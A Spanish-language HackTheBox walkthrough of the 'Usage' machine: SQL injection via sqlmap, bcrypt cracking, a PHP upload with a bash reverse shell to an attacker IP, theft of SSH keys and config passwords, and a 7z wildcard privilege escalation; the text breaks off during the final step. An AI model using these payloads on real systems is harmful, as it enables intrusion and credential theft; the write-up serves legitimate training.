Usage – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: HackTheBox

‘Usage’ Avatar


Resumen Link to heading

Usage es una máquina de dificultad fácil, basada en Linux, de la plataforma HackTheBox. Luego de un escaneo inicial sobre los puertos TCP, éstos muestran que la máquina víctima está corriendo un sitio web. Este sitio web presenta un simple panel de login, en el cual somos capaces de crear un nuevo usuario y encontrar un nuevo subdominio para el sitio. El sitio web provee una opción para resetear/reiniciar la contraseña de nuestro usuario creado; sin embargo, esta función es vulnerable a SQL Injection (inyección SQL). Gracias a esta vulnerabilidad somos capaces de encontrar las credenciales para el panel de administración el cual se hallaba en el subdominio encontrado previamente. Una vez dentro de este panel, vemos que éste está usando una versión vulnerable de Laravel a CVE-2023-24249. Gracias a esta nueva vulnerabilidad somos capaces de ganar acceso inicial a la máquina víctima. Una vez dentro, somos capaces de encontrar credenciales en alguno de los archivos a los cuales tenemos acceso y usar éstas para pivotear a un nuevo usuario dentro de la máquina. Este nuevo usuario puede correr un binario personalizado junto con sudo. Usando Ghidra performamos Reverse engineering (ingeniería inversa) sobre este binario y encontramos que éste está ejecutando 7z junto con un wildcard (*). Esto nos permite leer archivos como root, como, por ejemplo, su key de SSH; la cual nos permite loguearnos como root a través de SSH en la máquina víctima.


User / Usuario Link to heading

Empezamos con un escaneo con Nmap para ver por puertos utilizando protocolo TCP que estén abiertos:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.18

El scan de Nmap sólo muestra 2 puertos abiertos: 22 SSH y 80 HTTP:

❯ sudo nmap -sVC -p22,80 10.10.11.18 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-30 20:04 -04
Nmap scan report for 10.10.11.18
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.96 seconds

Del output del scan, noto que el puerto HTTP está redirigiendo al sitio http://usage.htb. De manera que agrego este dominio a mi archivo /etc/hosts corriendo:

❯ echo '10.10.11.18 usage.htb' | sudo tee -a /etc/hosts

Utilizando la herramienta WhatWeb noto además que este sitio está usando Laravel:

❯ whatweb -a 3 http://usage.htb

http://usage.htb [200 OK] Bootstrap[4.1.3], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[laravel_session], IP[10.10.11.18], Laravel, PasswordField[password], Title[Daily Blogs], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]

Visitando http://usage.htb desde un navegador de internet muestra un simple panel de login:

Usage 1

Dado que no tengo credenciales, trataré de crearme un usuario clickeando arriba a la derecha en Register. Esto nos redirige a http://usage.htb/registration. Allí nos creamos una cuenta genérica:

Usage 2

Logueándose en http://usage.htb con la cuenta creada podemos ver ahora que la página muestra algo distinto:

Usage 3

No obstante, el sitio en sí no muestra nada interesante.

Lo único que noto es que en la parte superior derecha hay un texto de Admin el cual redirige a admin.usage.htb, de manera que agrego este nuevo subdominio a mi archivo /etc/hosts. Ahora éste se ve como:

❯ tail -n 1 /etc/hosts

10.10.11.18 usage.htb admin.usage.htb

Visitando http://admin.usage.htb muestra otro panel de login:

Usage 4

pero, de nuevo, no soy capaz de ver nada interesante.

Una última cosa que podemos revisar es el botón de Reset Password (reiniciar contraseña). Éste redirige a http://usage.htb/forget-password:

Usage 5

Aquí pondre un e-mail aleatorio y a la petición que se realizará la interceptaré utilizando la herramienta Burpsuite. La petición interceptada se ve como:

POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://usage.htb
DNT: 1
Connection: close
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IkU0OFBzSlVIZUtkNi9FMTdqYU1oTWc9PSIsInZhbHVlIjoiL21JRGJoNko0VXloTis3anNhN3o4QjEzVnM3VXpyZzR1eEp5dGNoNVFrbjl2ZnhZWW11MjJQNk14SGs1MmQ2ZXhVTExVRnNJSkRIaldCblpFTHNUZDE4VHBsU00rQmFVbGRFRUt2eGliMnpQc0ZaVTl1YTRDREdsYzk3elVJRm0iLCJtYWMiOiJiOGFlNzcxY2M0Yzg0N2QxMmNlMzE4MDNjYzgxM2NjN2JhODcxNzQ2MjMwNDZmMTIzYjJjYTRhY2MwZDBmYzY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdNSGFCZ2ZhZHAwZGhUVk1IV1hGblE9PSIsInZhbHVlIjoiR2pFTXBvTmJ1d1FSY3doVkxjTWwrMU8rWC9TbVhXREY1endLUFJmRjA2Sk51MHFKZ2RrTENHRXRyWDU1NFN3dzBmZ0pPSndGUzRGQVhWOUl4cFBvRkY4YTlFcGgyQmh3Tjc0aWxVdzFlamhkQnl2MVNqeStTNU5ZNG1mUGttSG0iLCJtYWMiOiI3N2E3MGEyYjhlMGMwODUxODcwOTM3NTBhYTVlMzliNWY1ZDQyZWU4NjUxZWE2YWU2NTU3ZWM1OTEyODg3MjVhIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1

_token=gOcHdqPJZFjMfEbgKpc027onHHcAX91A1bzez6Ay&email=test%40test.com

Envío esto al Repeater dentro de Burpsuite y empiezo a jugar con los parámetros. Jugando con el parámetro de email nos da algo. Si envío un payload de SQL Injection (SQLi) como:

ORDER BY 8-- -

con Burpsuite en el parámetro email:

POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: http://usage.htb
DNT: 1
Connection: close
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IkU0OFBzSlVIZUtkNi9FMTdqYU1oTWc9PSIsInZhbHVlIjoiL21JRGJoNko0VXloTis3anNhN3o4QjEzVnM3VXpyZzR1eEp5dGNoNVFrbjl2ZnhZWW11MjJQNk14SGs1MmQ2ZXhVTExVRnNJSkRIaldCblpFTHNUZDE4VHBsU00rQmFVbGRFRUt2eGliMnpQc0ZaVTl1YTRDREdsYzk3elVJRm0iLCJtYWMiOiJiOGFlNzcxY2M0Yzg0N2QxMmNlMzE4MDNjYzgxM2NjN2JhODcxNzQ2MjMwNDZmMTIzYjJjYTRhY2MwZDBmYzY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdNSGFCZ2ZhZHAwZGhUVk1IV1hGblE9PSIsInZhbHVlIjoiR2pFTXBvTmJ1d1FSY3doVkxjTWwrMU8rWC9TbVhXREY1endLUFJmRjA2Sk51MHFKZ2RrTENHRXRyWDU1NFN3dzBmZ0pPSndGUzRGQVhWOUl4cFBvRkY4YTlFcGgyQmh3Tjc0aWxVdzFlamhkQnl2MVNqeStTNU5ZNG1mUGttSG0iLCJtYWMiOiI3N2E3MGEyYjhlMGMwODUxODcwOTM3NTBhYTVlMzliNWY1ZDQyZWU4NjUxZWE2YWU2NTU3ZWM1OTEyODg3MjVhIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1

_token=gOcHdqPJZFjMfEbgKpc027onHHcAX91A1bzez6Ay&email='+ORDER+BY+8--+-

Éste retorna código 302 Found. Pero si cambio el payload a:

ORDER BY 9-- -

en Burpsuite con la petición:

POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: http://usage.htb
DNT: 1
Connection: close
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IkU0OFBzSlVIZUtkNi9FMTdqYU1oTWc9PSIsInZhbHVlIjoiL21JRGJoNko0VXloTis3anNhN3o4QjEzVnM3VXpyZzR1eEp5dGNoNVFrbjl2ZnhZWW11MjJQNk14SGs1MmQ2ZXhVTExVRnNJSkRIaldCblpFTHNUZDE4VHBsU00rQmFVbGRFRUt2eGliMnpQc0ZaVTl1YTRDREdsYzk3elVJRm0iLCJtYWMiOiJiOGFlNzcxY2M0Yzg0N2QxMmNlMzE4MDNjYzgxM2NjN2JhODcxNzQ2MjMwNDZmMTIzYjJjYTRhY2MwZDBmYzY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdNSGFCZ2ZhZHAwZGhUVk1IV1hGblE9PSIsInZhbHVlIjoiR2pFTXBvTmJ1d1FSY3doVkxjTWwrMU8rWC9TbVhXREY1endLUFJmRjA2Sk51MHFKZ2RrTENHRXRyWDU1NFN3dzBmZ0pPSndGUzRGQVhWOUl4cFBvRkY4YTlFcGgyQmh3Tjc0aWxVdzFlamhkQnl2MVNqeStTNU5ZNG1mUGttSG0iLCJtYWMiOiI3N2E3MGEyYjhlMGMwODUxODcwOTM3NTBhYTVlMzliNWY1ZDQyZWU4NjUxZWE2YWU2NTU3ZWM1OTEyODg3MjVhIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1

_token=gOcHdqPJZFjMfEbgKpc027onHHcAX91A1bzez6Ay&email='+ORDER+BY+9--+-

obtenemos código 500 Internal Server Error.

Usage 6

Esto puede indicar una vulnerabilidad SQLi de tipo “Boolean-based blind” (ciega basada en booleanos).

De manera que empezaré a utilizar la herramienta SQLMap dado que hemos detectado un parámetro inyectable. En Burpsuite hago click derecho sobre la petición/request (con el parámetro email=test@test.com), luego selecciono la opción Copy to file (copiar a archivo) y lo guardo como request.req. Hecho esto empiezo a usar SQLMap:

❯ sqlmap -r request.req --batch -p 'email' --level 5 --risk 2 --technique=B

<SNIP>
[21:43:06] [INFO] checking if the injection point on POST parameter 'email' is a false positive
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 159 HTTP(s) requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=gOcHdqPJZFjMfEbgKpc027onHHcAX91A1bzez6Ay&email=test@test.com' AND 4290=(SELECT (CASE WHEN (4290=4290) THEN 4290 ELSE (SELECT 3154 UNION SELECT 6462) END))-- ENph
---
[21:43:28] [INFO] testing MySQL
[21:43:30] [INFO] confirming MySQL
[21:43:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 8.0.0
[21:43:34] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 76 times
<SNIP>

donde --technique=B especifica el tipo de técnica/inyección “Boolean-based blind” (lo cual nos ahorra mucho tiempo), tal cual hemos encontrado.

Luego extraemos las databases/bases de datos con la flag --dbs:

❯ sqlmap -r request.req --batch --dbs --threads 10

<SNIP>
[21:48:56] [INFO] retrieved: information_schema
[21:48:56] [INFO] retrieving the length of query output
[21:48:56] [INFO] retrieved: 18
[21:49:19] [INFO] retrieved: performance_schema
[21:49:19] [INFO] retrieving the length of query output
[21:49:19] [INFO] retrieved: 10
[21:49:36] [INFO] retrieved: usage_blog
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
<SNIP>

La base de datos usage_blog se ve interesante. Revisando sus tablas con la flag --tables y seleccionando la database con la flag -D tenemos:

❯ sqlmap -r request.req --batch -D usage_blog --tables --threads 10

<SNIP>
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+
<SNIP>

Ahora podemos usar -T para seleccionar una tabla, -C para seleccionar las columnas en las cuales estamos interesados, y --dump para extraer la información que se encuentra en ellas. Primero, decido chequear la tabla de users. Como resultado extraigo las credenciales del usuario que me acababa de crear, además de otros 2 usuarios:

❯ sqlmap -r request.req --batch -D usage_blog -T users -C name,email,password --dump --threads 10

<SNIP>
Database: usage_blog
Table: users
[3 entries]
+---------+---------------------+--------------------------------------------------------------+
| name    | email               | password                                                     |
+---------+---------------------+--------------------------------------------------------------+
| gunzf0x | gunzf0x@gunzf0x.htb | $2y$10$Iwn4leouz.OMaCrCrNAnju3DeLg44iBomGinDkBvoJi1yzT3L2lhm |
| raj     | raj@raj.com         | $2y$10$7ALmTTEYfRVd8Rnyep/ck.bSFKfXfsltPLkyQqSp/TT7X1wApJt4. |
| raj     | raj@usage.htb       | $2y$10$rbNCGxpWp1HSpO1gQX4uPO.pDg1nszoI/UhwHvfHDdfdfo9VmDJsa |
+---------+---------------------+--------------------------------------------------------------+
<SNIP>

Donde encontramos algunos hashes. Guardo estos hashes en mi máquina de atacante para performar un ataque de Brute Force Password Cracking (crackear las contraseñas por fuerza bruta) con la herramienta JohnTheRipper (john) y obtengo:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt raj_credentials

Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xander           (raj2)
xander           (raj1)
2g 0:00:00:37 DONE (2024-05-30 22:11) 0.05376g/s 59.27p/s 118.5c/s 118.5C/s monalisa..iloveme2
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Donde obtengo las credenciales: raj:xander.

Puedo loguearme con estas credenciales dentro de http://usage.htb, pero veo exactamente lo mismo que veía con la cuenta genérica que me había creado. Nada nuevo, tristemente. Estas credenciales tampoco funcionan en http://admin.usage.htb. De vuelta a SQLMap recuerdo una tabla de admin_users. Trato de extraer su contenido, de donde puedo ver las columnas de username (usuario) y password (contraseña):

❯ sqlmap -r request.req --batch -D usage_blog -T admin_users -C username,password --dump --threads 10

<SNIP>
Database: usage_blog
Table: admin_users
[1 entry]
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 |
+----------+--------------------------------------------------------------+
<SNIP>

encontrando un nuevo hash y usuario.

Guardo este usuario y hash en un archivo y, nuevamente, performo un Brute Force Password Cracking con john:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt admin_credentials

Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
whatever1        (admin)
1g 0:00:00:11 DONE (2024-05-30 22:17) 0.08598g/s 139.2p/s 139.2c/s 139.2C/s amber1..serena
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

donde encuentro las credenciales: admin:whatever1

Decido usar estas credenciales en el panel de http://admin.usage.htb y funcionan. Ahora podemos ver:

Usage 7

donde claramente puedo ver una versión 10.18.0 para Laravel.

Buscando por exploits para esta versión encuentro la vulnerabilidad catalogada como CVE-2023-24249. En corto, esta vulnerabilidad nos permite ejecutar código arbitrario a través de archivos PHP. Clickeamos en el nombre Administrator en la parte superior derecha, luego en Settings y deberíamos ver una página como la siguiente:

Usage 8

Noto que puedo subir archivos y que cuando éstos son subidos, se suben a https://admin.usage.htb/uploads/images/<image-name>. Pero luego de algún tiempo el sistema aplica un reseteo (borra el archivo subido), de manera que debemos de actuar rápido en los siguientes pasos.

Ahora interceptamos la petición enviada al subir una imagen con Burpsuite. Clickeo en Reset y subo una imagen random png llamada sample.png. Luego, cuando clickeamos en Submit, la petición es interceptada por Burpsuite. En la data de la imagen subo el payload basado en PHP:

<?php system('bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"'); ?>

donde 10.10.16.6 es my IP de atacante y 443 es el puerto en el cual me pondré en escucha con netcat. Además, antes de subir la imagen, decido setear la variable filename como sample.png.php

Usage 9

Empiezo un listener con netcat en el puerto 443:

❯ nc -lvnp 443

Subo el archivo y rápidamente visito https://admin.usage.htb/uploads/images/sample.png.php y obtengo una shell como el usuario dash en mi listener:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.18] 33774
bash: cannot set terminal process group (1225): Inappropriate ioctl for device
bash: no job control in this shell
dash@usage:/var/www/html/project_admin/public/uploads/images$ whoami

whoami
dash

Ya podríamos ser capaces de leer la flag de usuario, pero decido chequear si nos podemos loguear via SSH. Noto que este usuario tiene una SSH key en /home/dash/.ssh/:

dash@usage:/var/www/html/project_admin/public/uploads/images$ cat /home/dash/.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
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
63zj5LQZw2/NvnAAAACmRhc2hAdXNhZ2U=
-----END OPENSSH PRIVATE KEY-----

la cual guardo en un archivo llamado dash_id_rsa en mi máquina de atacante.

Una vez guardada, le asigno permisos y la uso para conectarme via SSH a la máquina víctima:

❯ nvim id_rsa_dash # save the key

❯ chmod 600 id_rsa_dash

❯ ssh -i id_rsa_dash dash@10.10.11.18
<SNIP>
The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Apr  8 12:35:43 2024 from 10.10.14.40
dash@usage:~$ whoami

dash

y podemos obtener la flag de usuario.


Root Link to heading

Decido subir LinPEAS a la máquina víctima (el cual puede ser descargado desde su repositorio de Github) usando scp:

❯ scp -i id_rsa_dash linpeas.sh dash@10.10.11.18:/tmp/linpeas.sh

y le asigno permisos de ejecución corriendo chmod +x /tmp/linpeas.sh.

Correr este script nos muestra valiosa información como valores de un archivo .env con una password:

dash@usage:~$ /tmp/linpeas.sh

<SNIP>
╔══════════╣ Analyzing Backup Manager Files (limit 70)

-rwxrwxr-x 1 dash dash 5289 Aug 13  2023 /var/www/html/project_admin/config/database.php
<SNIP>
╔══════════╣ Analyzing Env Files (limit 70)
-rwxrwxr-x 1 dash dash 1176 Aug 23  2023 /var/www/html/project_admin/.env
<SNIP>
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=usage_blog
DB_USERNAME=staff
DB_PASSWORD=s3cr3t_c0d3d_1uth
<SNIP>

pero noto que esta es la base de datos que ya hemos dumpeado a través de la vunlerabilidad SQLi, de manera que no vale la pena perder el tiempo en esta.

Decido revisar por archivos en el directorio /home/dash. El archivo .monitrc no es un archivo muy común. Leyendo su contenido tenemos:

dash@usage:~$ cat .monitrc

#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd

#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
    if cpu > 80% for 2 cycles then alert


#System Monitoring
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert

check filesystem rootfs with path /
       if space usage > 80% then alert

Donde puedo ver credenciales: admin:3nc0d3d_pa$$w0rd.

Revisando por usuarios con directorio /home en esta máquina tenemos:

dash@usage:~$ ls /home

dash  xander

Trato de pivotear al usuario xander usando la nueva contraseña encontrada (3nc0d3d_pa$$w0rd) y funciona:

dash@usage:~$ su xander

Password:

xander@usage:/home/dash$

Reviso qué programas puede correr este nuevo usuario con sudo y tenemos un programa:

xander@usage:/home/dash$ sudo -l

Matching Defaults entries for xander on usage:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management

Encontramos que este usuario puede correr el binario /usr/bin/usage_management como root sin necesidad de proveer contraseña.

El archivo es un binario compilado:

xander@usage:/home/dash$ file /usr/bin/usage_management

/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped

Usando strings tenemos alguna info:

xander@usage:/home/dash$ strings /usr/bin/usage_management

/lib64/ld-linux-x86-64.so.2
chdir
__cxa_finalize
__libc_start_main
puts
system
__isoc99_scanf
<SNIP>
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
Invalid choice.
:*3$"
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
<SNIP>

pero sigo sin saber del todo qué es lo que hace este binario.

Sólo para jugar con un poco de Reverse Engineering paso este binario a mi máquina usando scp. En mi máquina de atacante corro:

❯ scp -i id_rsa_dash dash@10.10.11.18:/usr/bin/usage_management ./usage_management

Luego, abro este binario con la herramienta Ghidra. Analizando la función main éste se ve como un programa escrito en C:

Usage 10

donde la función main es:

undefined8 main(void)

{
  int local_c;
  
  puts("Choose an option:");
  puts("1. Project Backup");
  puts("2. Backup MySQL data");
  puts("3. Reset admin password");
  printf("Enter your choice (1/2/3): ");
  __isoc99_scanf(&DAT_0010214c,&local_c);
  if (local_c == 3) {
    resetAdminPassword();
    return 0;
  }
  if (local_c < 4) {
    if (local_c == 1) {
      backupWebContent();
      return 0;
    }
    if (local_c == 2) {
      backupMysqlData();
      return 0;
    }
  }
  puts("Invalid choice.");
  return 0;
}

Al ejecutar el binario éste da diferentes opciones. Como se espera, seleccionar diferentes opciones activa diferentes funciones. Analizando la función resetAdminPassword, la cual se ve prometedora (la cual es ejecutada si elegimos la opción 3 en el binario), literalmente no hace nada; sólo vende humo. Simplemente imprime un mensaje:

void resetAdminPassword(void)

{
  puts("Password has been reset.");
  return;
}
  • Pero la función backupWebContent (la cual es ejecutada si elegimos la opción 1. Project Backup) se ve interesante:
void backupWebContent(void)

{
  int iVar1;
  
  iVar1 = chdir("/var/www/html");
  if (iVar1 == 0) {
    system("/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *");
  }
  else {
    perror("Error changing working directory to /var/www/html");
  }
  return;
}

El binario está ejecutando system junto con 7z para crear un backup. No obstante, la parte “vulnerable” del código es el símbolo * (wildcard).

Revisando en HackTricks cómo abusar de wildcards con 7z vemos que somos capaces de leer archivos que solo el usuario root debería poder leer. Los pasos explicados en la página son los siguientes:

cd /al/directorio/donde/actua/7z  # nos movemos al directorio asignado donde actua 7z

touch @root.txt   # creamos un archivo

ln -s /archivo/que/queremos/leer.txt root.txt # creamos un link simbólico entre el archivo creado y el archivo de root a leer

De manera que lo modificamos para nuestros propósitos. Tal cual se puede ver en la función backupWebContent, el directorio donde actúa 7z (“acting folder”) es /var/www/html. Podemos tratar de leer directamente la flag /root/root.txt o, para ganar acceso como el usuario root, intentar leer el archivo/SSH key /root/.ssh/id_rsa (esperando que éste exista). De esta forma corremos en la máquina víctima:

xander@usage:/tmp$ cd /var/www/html

xander@usage:/var/www/html$ touch @id_rsa

xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa id_rsa

xander@usage:/var/www/html$ sudo /usr/bin/usage_management

Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
